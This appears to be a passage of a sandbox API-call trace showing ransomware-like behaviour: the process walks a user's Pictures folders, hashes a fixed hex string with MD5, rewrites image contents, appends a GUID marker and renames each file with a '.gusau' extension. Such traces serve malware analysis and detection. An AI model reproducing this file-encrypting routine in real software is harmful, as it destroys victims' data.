[0118.694] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\KZrZHmvQBeSkBOCD.jpg") returned=".jpg" [0118.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\KZrZHmvQBeSkBOCD.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\kzrzhmvqbeskbocd.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.694] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=10622) returned 1 [0118.694] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.697] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2958, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.697] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.698] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x297e, lpOverlapped=0x0) returned 1 [0118.699] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.699] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.699] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.699] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.699] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.699] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.699] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.700] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.700] GetLastError () returned 0x0 [0118.700] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.700] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.700] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.700] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x297e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.700] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.700] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.700] CloseHandle (hObject=0x610) returned 1 [0118.702] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\KZrZHmvQBeSkBOCD.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\kzrzhmvqbeskbocd.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\KZrZHmvQBeSkBOCD.jpg.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\kzrzhmvqbeskbocd.jpg.gusau")) returned 1 [0118.703] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.703] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.704] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c21250, ftCreationTime.dwHighDateTime=0x1d4cb1d, ftLastAccessTime.dwLowDateTime=0x1cf58e90, ftLastAccessTime.dwHighDateTime=0x1d4c8f3, ftLastWriteTime.dwLowDateTime=0x1cf58e90, ftLastWriteTime.dwHighDateTime=0x1d4c8f3, nFileSizeHigh=0x0, nFileSizeLow=0x106ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m7Zhy4P-VQ66.gif", cAlternateFileName="M7ZHY4~1.GIF")) returned 1 [0118.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\m7Zhy4P-VQ66.gif") returned=".gif" [0118.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\m7Zhy4P-VQ66.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\m7zhy4p-vq66.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.704] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=67246) returned 1 [0118.704] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.706] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10688, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.706] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.708] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x106ae, lpOverlapped=0x0) returned 1 [0118.711] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.711] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.712] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.712] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.712] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.712] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.712] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.712] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.712] GetLastError () returned 0x0 [0118.712] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.713] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.713] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x106ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.713] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.713] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.713] CloseHandle (hObject=0x610) returned 1 [0118.714] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\m7Zhy4P-VQ66.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\m7zhy4p-vq66.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\m7Zhy4P-VQ66.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\m7zhy4p-vq66.gif.gusau")) returned 1 [0118.715] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbff53e50, ftCreationTime.dwHighDateTime=0x1d4c8ea, ftLastAccessTime.dwLowDateTime=0xb3836b30, ftLastAccessTime.dwHighDateTime=0x1d4cf73, ftLastWriteTime.dwLowDateTime=0xb3836b30, ftLastWriteTime.dwHighDateTime=0x1d4cf73, nFileSizeHigh=0x0, nFileSizeLow=0x2226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="R7Kau5o.gif", cAlternateFileName="")) returned 1 [0118.715] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\R7Kau5o.gif") returned=".gif" [0118.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\R7Kau5o.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\r7kau5o.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.716] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=8742) returned 1 [0118.716] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.718] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.718] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.719] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x2226, lpOverlapped=0x0) returned 1 [0118.720] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.720] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.720] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.720] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.721] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.721] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.721] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.721] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.721] GetLastError () returned 0x0 [0118.721] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.721] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.721] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.721] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.721] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.721] CloseHandle (hObject=0x610) returned 1 [0118.722] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\R7Kau5o.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\r7kau5o.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\R7Kau5o.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\r7kau5o.gif.gusau")) returned 1 [0118.723] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbff53e50, ftCreationTime.dwHighDateTime=0x1d4c8ea, ftLastAccessTime.dwLowDateTime=0xb3836b30, ftLastAccessTime.dwHighDateTime=0x1d4cf73, ftLastWriteTime.dwLowDateTime=0xb3836b30, ftLastWriteTime.dwHighDateTime=0x1d4cf73, nFileSizeHigh=0x0, nFileSizeLow=0x2226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="R7Kau5o.gif", cAlternateFileName="")) returned 0 [0118.723] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.723] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.723] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.723] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0ad0 [0118.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\3Bsx2yMEE1UNteJQW\\") returned="3Bsx2yMEE1UNteJQW\\" [0118.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\") returned="ZTE-\\" [0118.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0118.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0118.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.724] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.724] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.724] PathFindFileNameW (pszPath="") returned="" [0118.724] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0ad0 [0118.724] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\3Bsx2yMEE1UNteJQW\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb24a490, ftCreationTime.dwHighDateTime=0x1d4d450, ftLastAccessTime.dwLowDateTime=0x51272f10, ftLastAccessTime.dwHighDateTime=0x1d4ceb2, ftLastWriteTime.dwLowDateTime=0x51272f10, ftLastWriteTime.dwHighDateTime=0x1d4ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0ad0 | out: hHeap=0xd10000) returned 1 [0118.725] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb24a490, ftCreationTime.dwHighDateTime=0x1d4d450, ftLastAccessTime.dwLowDateTime=0x51272f10, ftLastAccessTime.dwHighDateTime=0x1d4ceb2, ftLastWriteTime.dwLowDateTime=0x51272f10, ftLastWriteTime.dwHighDateTime=0x1d4ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.725] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1fedf0, ftCreationTime.dwHighDateTime=0x1d4c55a, ftLastAccessTime.dwLowDateTime=0xb447d9f0, ftLastAccessTime.dwHighDateTime=0x1d4d263, ftLastWriteTime.dwLowDateTime=0xb447d9f0, ftLastWriteTime.dwHighDateTime=0x1d4d263, nFileSizeHigh=0x0, nFileSizeLow=0x1269d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQg8wwtsOsz4VSDTpD.png", cAlternateFileName="OQG8WW~1.PNG")) returned 1 [0118.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0ad0 [0118.725] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.725] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0ad0 | out: hHeap=0xd10000) returned 1 [0118.725] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\3Bsx2yMEE1UNteJQW\\OQg8wwtsOsz4VSDTpD.png") returned=".png" [0118.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\3Bsx2yMEE1UNteJQW\\OQg8wwtsOsz4VSDTpD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\3bsx2ymee1untejqw\\oqg8wwtsosz4vsdtpd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.726] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=75421) returned 1 [0118.726] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.728] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x12677, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.728] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.729] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.729] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.729] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.729] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1269d, lpOverlapped=0x0) returned 1 [0118.730] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.730] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.730] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.730] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.730] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0ad0) returned 1 [0118.731] CryptCreateHash (in: hProv=0xdf0ad0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.731] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.731] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.731] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.731] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.731] GetLastError () returned 0x0 [0118.731] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.731] CryptReleaseContext (hProv=0xdf0ad0, dwFlags=0x0) returned 1 [0118.731] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.731] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x126a0) returned 0x39f9f20 [0118.732] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.732] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x12698, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x12698, lpOverlapped=0x0) returned 1 [0118.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.732] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1269d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.732] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.732] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.732] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.732] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.732] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.732] CloseHandle (hObject=0x610) returned 1 [0118.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930140 [0118.733] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0118.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930140 | out: hHeap=0xd10000) returned 1 [0118.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\3Bsx2yMEE1UNteJQW\\OQg8wwtsOsz4VSDTpD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\3bsx2ymee1untejqw\\oqg8wwtsosz4vsdtpd.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\3Bsx2yMEE1UNteJQW\\OQg8wwtsOsz4VSDTpD.png.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\3bsx2ymee1untejqw\\oqg8wwtsosz4vsdtpd.png.gusau")) returned 1 [0118.734] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.734] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.735] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1fedf0, ftCreationTime.dwHighDateTime=0x1d4c55a, ftLastAccessTime.dwLowDateTime=0xb447d9f0, ftLastAccessTime.dwHighDateTime=0x1d4d263, ftLastWriteTime.dwLowDateTime=0xb447d9f0, ftLastWriteTime.dwHighDateTime=0x1d4d263, nFileSizeHigh=0x0, nFileSizeLow=0x1269d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQg8wwtsOsz4VSDTpD.png", cAlternateFileName="OQG8WW~1.PNG")) returned 0 [0118.735] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.735] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.735] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.735] RtlAllocateHeap (HeapHandle=0xd10000, 